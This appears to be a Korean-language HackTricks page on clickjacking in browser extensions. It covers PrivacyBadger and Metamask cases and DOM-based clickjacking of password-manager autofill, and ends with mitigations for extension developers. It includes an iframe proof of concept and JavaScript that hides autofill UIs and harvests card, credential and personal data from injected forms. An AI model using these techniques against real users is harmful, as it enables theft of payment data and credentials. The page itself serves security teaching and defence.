BrowExt - ClickJacking

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

์ด ํŽ˜์ด์ง€๋Š” ๋ธŒ๋ผ์šฐ์ € ํ™•์žฅ(Extension)์˜ ClickJacking ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋‹ค๋ฃน๋‹ˆ๋‹ค.
ClickJacking์ด ๋ฌด์—‡์ธ์ง€ ๋ชจ๋ฅธ๋‹ค๋ฉด ๋‹ค์Œ์„ ํ™•์ธํ•˜์„ธ์š”:

Clickjacking

ํ™•์žฅ(extensions)์€ manifest.json ํŒŒ์ผ์„ ํฌํ•จํ•˜๋ฉฐ, ํ•ด๋‹น JSON ํŒŒ์ผ์—๋Š” web_accessible_resources๋ผ๋Š” ํ•„๋“œ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ์€ the Chrome docs์—์„œ ์ด์— ๋Œ€ํ•ด ์„ค๋ช…ํ•œ ๋‚ด์šฉ์ž…๋‹ˆ๋‹ค:

์ด๋Ÿฌํ•œ ๋ฆฌ์†Œ์Šค๋“ค์€ ์›นํŽ˜์ด์ง€์—์„œ chrome-extension://[PACKAGE ID]/[PATH] ํ˜•ํƒœ์˜ URL์„ ํ†ตํ•ด ์ ‘๊ทผ ๊ฐ€๋Šฅํ•˜๋ฉฐ, ์ด๋Š” extension.getURL method ๋กœ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ—ˆ์šฉ ๋ชฉ๋ก์— ๋“ฑ์žฌ๋œ ๋ฆฌ์†Œ์Šค๋Š” ์ ์ ˆํ•œ CORS ํ—ค๋”์™€ ํ•จ๊ป˜ ์ œ๊ณต๋˜๋ฏ€๋กœ XHR๊ณผ ๊ฐ™์€ ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ํ†ตํ•ด ์ด์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.1

๋ธŒ๋ผ์šฐ์ € ํ™•์žฅ ๋‚ด์˜ web_accessible_resources ๋Š” ๋‹จ์ˆœํžˆ ์›น์„ ํ†ตํ•ด ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ๊ฒƒ๋งŒ์ด ์•„๋‹ˆ๋ผ ํ™•์žฅ์˜ ๊ณ ์œ  ๊ถŒํ•œ์œผ๋กœ ๋™์ž‘ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋™์ž‘์ด ๊ฐ€๋Šฅํ•จ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค:

  • ํ™•์žฅ์˜ ์ƒํƒœ ๋ณ€๊ฒฝ
  • ์ถ”๊ฐ€ ๋ฆฌ์†Œ์Šค ๋กœ๋“œ
  • ๋ธŒ๋ผ์šฐ์ €์™€ ์–ด๋А ์ •๋„ ์ƒํ˜ธ์ž‘์šฉ

ํ•˜์ง€๋งŒ ์ด ๊ธฐ๋Šฅ์€ ๋ณด์•ˆ ์œ„ํ—˜์„ ์ดˆ๋ž˜ํ•ฉ๋‹ˆ๋‹ค. ๋งŒ์•ฝ web_accessible_resources ๋‚ด๋ถ€์˜ ๋ฆฌ์†Œ์Šค๊ฐ€ ์ค‘์š”ํ•œ ๊ธฐ๋Šฅ์„ ํฌํ•จํ•˜๊ณ  ์žˆ๋‹ค๋ฉด, ๊ณต๊ฒฉ์ž๋Š” ํ•ด๋‹น ๋ฆฌ์†Œ์Šค๋ฅผ ์™ธ๋ถ€ ์›นํŽ˜์ด์ง€์— ์ž„๋ฒ ๋“œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์‚ฌ์šฉ์ž๊ฐ€ ํ•ด๋‹น ํŽ˜์ด์ง€๋ฅผ ๋ฐฉ๋ฌธํ–ˆ์„ ๋•Œ ๋ฌด์‹ฌ์ฝ” ์ด ์ž„๋ฒ ๋””๋“œ ๋ฆฌ์†Œ์Šค๋ฅผ ํ™œ์„ฑํ™”ํ•˜๋ฉด, ํ™•์žฅ์˜ ๊ถŒํ•œ๊ณผ ๊ธฐ๋Šฅ์— ๋”ฐ๋ผ ์˜๋„์น˜ ์•Š์€ ๊ฒฐ๊ณผ๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

PrivacyBadger ์˜ˆ์ œ

PrivacyBadger ํ™•์žฅ์—์„œ๋Š” skin/ ๋””๋ ‰ํ„ฐ๋ฆฌ๊ฐ€ ๋‹ค์Œ๊ณผ ๊ฐ™์ด web_accessible_resources๋กœ ์„ ์–ธ๋œ ๊ฒƒ๊ณผ ๊ด€๋ จ๋œ ์ทจ์•ฝ์ ์ด ํ™•์ธ๋˜์—ˆ์Šต๋‹ˆ๋‹ค (Check the original blog post):

"web_accessible_resources": [
"skin/*",
"icons/*"
]

์ด ๊ตฌ์„ฑ์€ ์ž ์žฌ์ ์ธ ๋ณด์•ˆ ๋ฌธ์ œ๋ฅผ ์ดˆ๋ž˜ํ–ˆ์Šต๋‹ˆ๋‹ค. ๊ตฌ์ฒด์ ์œผ๋กœ, ๋ธŒ๋ผ์šฐ์ €์˜ PrivacyBadger ์•„์ด์ฝ˜๊ณผ ์ƒํ˜ธ์ž‘์šฉํ•  ๋•Œ ๋ Œ๋”๋˜๋Š” skin/popup.html ํŒŒ์ผ์ด iframe ์•ˆ์— ํฌํ•จ๋  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ์ด ํฌํ•จ์€ ์‚ฌ์šฉ์ž๋ฅผ ์†์—ฌ ์˜๋„์น˜ ์•Š๊ฒŒ โ€œDisable PrivacyBadger for this Websiteโ€œ๋ฅผ ํด๋ฆญํ•˜๋„๋ก ์œ ๋„ํ•˜๋Š” ๋ฐ ์•…์šฉ๋  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์กฐ์น˜๋Š” PrivacyBadger ๋ณดํ˜ธ๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•˜์—ฌ ์‚ฌ์šฉ์ž์˜ ํ”„๋ผ์ด๋ฒ„์‹œ๋ฅผ ์œ„ํ˜‘ํ•˜๊ณ  ์ถ”์ ์ด ์ฆ๊ฐ€ํ•  ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ณต๊ฒฉ์˜ ์‹œ๊ฐ์  ๋ฐ๋ชจ๋Š” ClickJacking ๋น„๋””์˜ค ์˜ˆ์ œ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.

์ด ์ทจ์•ฝ์ ์„ ํ•ด๊ฒฐํ•˜๊ธฐ ์œ„ํ•ด ๋‹จ์ˆœํ•œ ํ•ด๊ฒฐ์ฑ…์„ ์ ์šฉํ–ˆ์Šต๋‹ˆ๋‹ค: web_accessible_resources ๋ชฉ๋ก์—์„œ /skin/*์„ ์ œ๊ฑฐํ–ˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ณ€๊ฒฝ์œผ๋กœ skin/ ๋””๋ ‰ํ„ฐ๋ฆฌ์˜ ์ฝ˜ํ…์ธ ๊ฐ€ ์›น ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ๋ฆฌ์†Œ์Šค๋ฅผ ํ†ตํ•ด ์ ‘๊ทผ๋˜๊ฑฐ๋‚˜ ์กฐ์ž‘๋˜์ง€ ์•Š๋„๋ก ๋ณด์žฅํ•˜์—ฌ ์œ„ํ—˜์„ ํšจ๊ณผ์ ์œผ๋กœ ์™„ํ™”ํ–ˆ์Šต๋‹ˆ๋‹ค.

์ˆ˜์ •์€ ๊ฐ„๋‹จํ–ˆ์Šต๋‹ˆ๋‹ค: web_accessible_resources์—์„œ /skin/*์„ ์ œ๊ฑฐ.

PoC

<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->

<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}

#stuff {
float: top;
position: absolute;
}

button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>

<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
</div>

<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>

Metamask Example

A metamask์˜ ClickJacking์— ๋Œ€ํ•œ ๋ธ”๋กœ๊ทธ ๊ฒŒ์‹œ๋ฌผ์€ ์—ฌ๊ธฐ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. In this case, Metamask fixed the vulnerability by checking that the protocol used to access it was https: or http: (not chrome: for example):

Metamask ํ™•์žฅ ํ”„๋กœ๊ทธ๋žจ์—์„œ ์ˆ˜์ •๋œ ๋˜ ๋‹ค๋ฅธ ClickJacking ์‚ฌ๋ก€๋Š” ์‚ฌ์šฉ์ž๊ฐ€ โ€œweb_accessible_resourcesโ€: [โ€œinpage.jsโ€, โ€œphishing.htmlโ€] ๋•Œ๋ฌธ์— ํŽ˜์ด์ง€๊ฐ€ phishing์œผ๋กœ ์˜์‹ฌ๋  ๋•Œ Click to whitelistํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๊ทธ ํŽ˜์ด์ง€๊ฐ€ Clickjacking์— ์ทจ์•ฝํ–ˆ๊ธฐ ๋•Œ๋ฌธ์—, ๊ณต๊ฒฉ์ž๋Š” ํ”ผํ•ด์ž๊ฐ€ ๋ˆˆ์น˜์ฑ„์ง€ ๋ชปํ•˜๊ฒŒ ์ •์ƒ์ ์ธ ๊ฒƒ์„ ๋ณด์—ฌ์ฃผ์–ด Click to whitelist๋ฅผ ํด๋ฆญํ•˜๊ฒŒ ์œ ๋„ํ•œ ๋’ค ๋‹ค์‹œ phishing ํŽ˜์ด์ง€๋กœ ๋Œ์•„๊ฐ€ ํ•ด๋‹น ํŽ˜์ด์ง€๊ฐ€ whitelist๋˜๋„๋ก ์•…์šฉํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

Steam Inventory Helper Example

๋‹ค์Œ ํŽ˜์ด์ง€์—์„œ ๋ธŒ๋ผ์šฐ์ € ํ™•์žฅ ํ”„๋กœ๊ทธ๋žจ์˜ XSS๊ฐ€ ์–ด๋–ป๊ฒŒ ClickJacking ์ทจ์•ฝ์ ๊ณผ ์—ฐ์‡„๋˜์—ˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”:

BrowExt - XSS Example


DOM-based Extension Clickjacking (Password Manager Autofill UIs)

๊ณ ์ „์ ์ธ ํ™•์žฅ ํ”„๋กœ๊ทธ๋žจ clickjacking์€ ์ž˜๋ชป ๊ตฌ์„ฑ๋œ web_accessible_resources๋ฅผ ์•…์šฉํ•ด ๊ถŒํ•œ ์žˆ๋Š” HTML์„ iframe์œผ๋กœ ๋กœ๋“œํ•˜๊ณ  ์‚ฌ์šฉ์ž ํด๋ฆญ์„ ์œ ๋„ํ•ฉ๋‹ˆ๋‹ค. ์ƒˆ๋กœ์šด ์œ ํ˜•์ธ DOM-based extension clickjacking์€ password managers๊ฐ€ ํŽ˜์ด์ง€ DOM์— ์ง์ ‘ ์ฃผ์ž…ํ•˜๋Š” autofill dropdowns์„ ํ‘œ์ ์œผ๋กœ ์‚ผ์•„, ๊ทธ๊ฒƒ์„ ํด๋ฆญ ๊ฐ€๋Šฅ ์ƒํƒœ๋กœ ์œ ์ง€ํ•˜๋ฉด์„œ ์ˆจ๊ธฐ๊ฑฐ๋‚˜ ๊ฐ€๋ ค๋ฒ„๋ฆฌ๋Š” CSS/DOM ํŠธ๋ฆญ์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ํ•œ ๋ฒˆ์˜ ๊ฐ•์ œ ํด๋ฆญ์œผ๋กœ ์ €์žฅ๋œ ํ•ญ๋ชฉ์„ ์„ ํƒํ•˜๊ณ  ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ์ž…๋ ฅ ํ•„๋“œ์— ์ฑ„์›Œ ๋„ฃ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Threat model

  • Attacker controls a webpage (or achieves XSS/subdomain takeover/cache poisoning on a related domain).
  • ํ”ผํ•ด์ž๋Š” password manager ํ™•์žฅ ํ”„๋กœ๊ทธ๋žจ์„ ์„ค์น˜ํ•˜๊ณ  ์ž ๊ธˆ ํ•ด์ œํ•œ ์ƒํƒœ์ž…๋‹ˆ๋‹ค(๋ช…๋ชฉ์ƒ ์ž ๊ฒจ ์žˆ์–ด๋„ ์ผ๋ถ€ autofill์ด ๋™์ž‘ํ•  ์ˆ˜ ์žˆ์Œ).
  • ์ตœ์†Œ ํ•˜๋‚˜์˜ ์‚ฌ์šฉ์ž ํด๋ฆญ์ด ์œ ๋„๋ฉ๋‹ˆ๋‹ค(์˜ค๋ฒ„๋ ˆ์ด๋œ ์ฟ ํ‚ค ๋ฐฐ๋„ˆ, ๋Œ€ํ™”์ƒ์ž, CAPTCHAs, ๊ฒŒ์ž„ ๋“ฑ).

Attack flow (manual autofill)

  1. ๋ณด์ด์ง€ ์•Š์ง€๋งŒ ํฌ์ปค์Šค๊ฐ€ ๊ฐ€๋Šฅํ•œ form ์‚ฝ์ž… (login/PII/credit-card ํ•„๋“œ).
  2. ์ž…๋ ฅ ํ•„๋“œ์— ํฌ์ปค์Šค๋ฅผ ์ค˜์„œ ํ™•์žฅ ๊ธฐ๋Šฅ์˜ autofill dropdown์„ ํ•ด๋‹น ํ•„๋“œ ๊ทผ์ฒ˜์— ๋ถˆ๋Ÿฌ์˜ต๋‹ˆ๋‹ค.
  3. ํ™•์žฅ UI๋ฅผ ์ˆจ๊ธฐ๊ฑฐ๋‚˜ ๊ฐ€๋ฆฌ๋˜ ์ƒํ˜ธ์ž‘์šฉ ๊ฐ€๋Šฅ ์ƒํƒœ๋Š” ์œ ์ง€ํ•ฉ๋‹ˆ๋‹ค.
  4. ์ˆจ๊ฒจ์ง„ dropdown ์•„๋ž˜์— ๊ทธ๋Ÿด๋“ฏํ•œ ์ปจํŠธ๋กค์„ ์ •๋ ฌํ•˜์—ฌ ํ•ญ๋ชฉ ์„ ํƒ์„ ์œ ๋„ํ•˜๋Š” ํด๋ฆญ์„ ๊ฐ•์ œํ•ฉ๋‹ˆ๋‹ค.
  5. ๊ณต๊ฒฉ์ž ํผ์—์„œ ์ฑ„์›Œ์ง„ ๊ฐ’์„ ์ฝ์–ด๋‚ด์–ด ์œ ์ถœํ•ฉ๋‹ˆ๋‹ค.

How to hide the autofill UI

  • Extension element
  • Root element opacity (generic):
// Reduce or nullify opacity of the extension root
// Works when the root element is attached in the page DOM
const root = document.querySelector('protonpass-root')
if (root) root.style.opacity = 0
  • open ShadowRoot ๋‚ด๋ถ€์˜ ์ž์‹ ์š”์†Œ (๋™์  ํƒœ๊ทธ, ๋‚ด๋ถ€ iframe ์ˆจ๊ธฐ๊ธฐ):
// Find dynamic root like <protonpass-root-xyz> and hide its child iframe
const root = Array.from(document.querySelectorAll('*'))
.find(el => el.tagName.toLowerCase().startsWith('protonpass-root-'))
if (root?.shadowRoot) {
const frame = root.shadowRoot.querySelector('iframe')
if (frame) frame.style.cssText += 'opacity:0 !important;'
}
  • ๋ถ€๋ชจ ์š”์†Œ
  • BODY/HTML opacity ๊ธฐ๋ฒ•์œผ๋กœ ํŽ˜์ด์ง€๊ฐ€ ์ •์ƒ์ ์œผ๋กœ ๋ณด์ด๋Š” ๋™์•ˆ extension UI๋ฅผ ๋ณด์ด์ง€ ์•Š๊ฒŒ ๋งŒ๋“ค๊ธฐ (์˜ˆ: ์Šคํฌ๋ฆฐ์ƒท ๋ฐฐ๊ฒฝ):
// Hide full page, then reveal a tiny amount to keep clicks working
document.body.style.opacity = 0
// Optional: Show a screenshot/lookalike to avoid a blank screen
// document.documentElement.style.backgroundImage = 'url(website.png)'

// Inject a credit-card form and focus to trigger dropdown
/* create #cardform with #cardnumber, #expiry, #cvc */
document.getElementById('cardnumber').focus()
// Make body barely visible to allow user interaction
document.body.style.opacity = '0.001'

function getCardValues() {
const num = document.getElementById('cardnumber').value
const exp = document.getElementById('expiry').value
const cvc = document.getElementById('cvc').value
// exfiltrate via XHR/fetch/websocket
}
  • ์˜ค๋ฒ„๋ ˆ์ด
  • ๋ถ€๋ถ„ ์˜ค๋ฒ„๋ ˆ์ด: ๋“œ๋กญ๋‹ค์šด์ด ํด๋ฆญ ๊ฐ€๋Šฅํ•˜๋„๋ก ๋ช‡ ํ”ฝ์…€๋งŒ ๋ณด์ด๊ฒŒ ํ•˜๊ณ  ๋‚˜๋จธ์ง€๋ฅผ ๊ฐ€๋ฆฐ๋‹ค (๊ณต๊ฒฉ์ž ์˜ค๋ฒ„๋ ˆ์ด๊ฐ€ DOM์—์„œ ๋งˆ์ง€๋ง‰ ์š”์†Œ์ด๋ฉฐ ์ตœ๋Œ€ z-index์ธ์ง€ ํ™•์ธํ•˜๊ฑฐ๋‚˜ Top Layer๋ฅผ ์‚ฌ์šฉ).
  • pointer-events:none์„ ์‚ฌ์šฉํ•œ ์ „์ฒด ์˜ค๋ฒ„๋ ˆ์ด๋กœ ํด๋ฆญ์ด ์ˆจ๊ฒจ์ง„ ๋“œ๋กญ๋‹ค์šด์œผ๋กœ ํ†ต๊ณผํ•˜๊ฒŒ ํ•œ๋‹ค; Popover API๋กœ ์ง€์†์ ์œผ๋กœ ์œ ์ง€:
<div id="overlay" popover style="pointer-events:none;">Cookie consent</div>
<script>
overlay.showPopover()
// Inject a personal data form and focus to trigger dropdown
/* create #personalform with #name/#email/#phone/... */
document.getElementById('name').focus()
function getData(){ /* read + exfil values on change */ }
</script>

ํ”ผํ•ด์ž ํด๋ฆญ ์œ„์น˜ ์ง€์ •

  • Fixed placement: ์ˆจ๊ฒจ์ง„ ๋“œ๋กญ๋‹ค์šด์„ ์‹ ๋ขฐํ•  ๋งŒํ•œ ์ปจํŠธ๋กค(์˜ˆ: โ€œ์ฟ ํ‚ค ์ˆ˜๋ฝโ€, โ€œ๋‹ซ๊ธฐโ€ ๋˜๋Š” CAPTCHA ์ฒดํฌ๋ฐ•์Šค) ์•„๋ž˜์— ๊ณ ์ • ๋ฐฐ์น˜ํ•ฉ๋‹ˆ๋‹ค.
  • Follow-mouse: ํฌ์ปค์Šค๋œ ์ž…๋ ฅ ์š”์†Œ๋ฅผ ์ปค์„œ ์•„๋ž˜๋กœ ์ด๋™์‹œ์ผœ ๋“œ๋กญ๋‹ค์šด์ด ์ปค์„œ๋ฅผ ๋”ฐ๋ผ์˜ค๊ฒŒ ํ•˜๊ณ ; ์ฃผ๊ธฐ์ ์œผ๋กœ ํฌ์ปค์Šค๋ฅผ ์žฌ์„ค์ •ํ•˜์—ฌ ์–ด๋””๋ฅผ ํด๋ฆญํ•ด๋„ ๋‹จ์ผ ํด๋ฆญ์œผ๋กœ ํ•ญ๋ชฉ์ด ์„ ํƒ๋˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค:
const f = document.getElementById('name')
document.addEventListener('mousemove', e => {
personalform.style = `top:${e.pageY-50}px;left:${e.pageX-100}px;position:absolute;`
// some managers hide the dropdown if focus is lost; refocus slowly
setTimeout(() => f.focus(), 100)
})

์˜ํ–ฅ ๋ฐ ์‹œ๋‚˜๋ฆฌ์˜ค

  • Attacker-controlled site: ํ•œ ๋ฒˆ์˜ ๊ฐ•์ œ ํด๋ฆญ์œผ๋กœ ๋„๋ฉ”์ธ์— ๊ตญํ•œ๋˜์ง€ ์•Š๋Š” ์‹ ์šฉ์นด๋“œ ์ •๋ณด(๋ฒˆํ˜ธ/์œ ํšจ๊ธฐ๊ฐ„/CVC)์™€ ๊ฐœ์ธ ์ •๋ณด(์ด๋ฆ„, ์ด๋ฉ”์ผ, ์ „ํ™”๋ฒˆํ˜ธ, ์ฃผ์†Œ, DOB)๋ฅผ ์œ ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Trusted site with XSS/subdomain takeover/cache poisoning: ๋‹ค์ค‘ ํด๋ฆญ์œผ๋กœ ์ž๊ฒฉ์ฆ๋ช…(username/password)๊ณผ TOTP๋ฅผ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋งŽ์€ ๋งค๋‹ˆ์ €๊ฐ€ ๊ด€๋ จ ํ•˜์œ„ ๋„๋ฉ”์ธ/์ƒ์œ„ ๋„๋ฉ”์ธ(์˜ˆ: *.example.com)์— ๊ฑธ์ณ autofill์„ ์ˆ˜ํ–‰ํ•˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.
  • Passkeys: RP๊ฐ€ WebAuthn ์ฑŒ๋ฆฐ์ง€๋ฅผ ์„ธ์…˜์— ๋ฐ”์ธ๋”ฉํ•˜์ง€ ์•Š์œผ๋ฉด XSS๊ฐ€ ์„œ๋ช…๋œ assertion์„ ๊ฐ€๋กœ์ฑŒ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค; DOM-based clickjacking์€ passkey ํ”„๋กฌํ”„ํŠธ๋ฅผ ์ˆจ๊ฒจ ์‚ฌ์šฉ์ž์˜ ํ™•์ธ ํด๋ฆญ์„ ์œ ๋„ํ•ฉ๋‹ˆ๋‹ค.

์ œํ•œ ์‚ฌํ•ญ

  • ์ตœ์†Œํ•œ ํ•˜๋‚˜์˜ ์‚ฌ์šฉ์ž ํด๋ฆญ๊ณผ ์ ์ ˆํ•œ ํ”ฝ์…€ ์ •๋ ฌ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค(ํ˜„์‹ค์ ์ธ ์˜ค๋ฒ„๋ ˆ์ด๋Š” ํด๋ฆญ ์œ ๋„๋ฅผ ์‰ฝ๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค).
  • ์ž๋™ ์ž ๊ธˆ/๋กœ๊ทธ์•„์›ƒ์€ ์•…์šฉ ์‹œ๊ฐ„์„ ์ค„์ž…๋‹ˆ๋‹ค; ์ผ๋ถ€ ๋งค๋‹ˆ์ €๋Š” โ€œlockedโ€ ์ƒํƒœ์—์„œ๋„ ์—ฌ์ „ํžˆ autofill์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค.

Extension developer mitigations

  • Render autofill UI in the Top Layer (Popover API) or otherwise ensure it sits above page stacking; avoid being covered by page-controlled overlays.
  • Resist CSS tampering: prefer Closed Shadow DOM and monitor with MutationObserver for suspicious style changes on UI roots.
  • Detect hostile overlays before filling: enumerate other top-layer/popover elements, temporarily disable pointer-events:none, and use elementsFromPoint() to detect occlusion; close UI if overlays exist.
  • Detect suspicious <body>/<html> opacity or style changes both pre- and post-render.
  • For iframe-based issues: scope MV3 web_accessible_resources matches narrowly and avoid exposing HTML UIs; for unavoidable HTML, serve X-Frame-Options: DENY or Content-Security-Policy: frame-ancestors 'none'.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ